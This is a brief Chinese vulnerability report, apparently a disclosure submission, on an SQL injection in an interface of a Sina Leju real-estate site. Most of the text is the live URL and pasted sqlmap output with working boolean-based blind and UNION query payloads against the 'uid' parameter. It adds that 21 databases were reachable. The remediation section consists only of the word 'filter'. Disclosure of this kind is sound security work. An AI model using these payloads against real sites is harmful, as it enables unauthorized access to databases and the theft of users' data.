新浪乐居某接口SQL注入漏洞url:
http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=8156628
uid处存在注入payload:
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=8156628 AND 7795=7795
Type: UNION query
Title: Generic UNION query (NULL) – 14 columns
Payload: http://tj.newsesf.leju.com:80/im_ajax.php?action=get_agentinfo_byuid&t=1460826734181&uid=-7870 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a7a71,0x6f7144787564564c774166636561577a69695971786e6d547a735a78707451435079596e4f6b666f,0x717a6a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– –
—
21库
表好多
解决方案:
过虑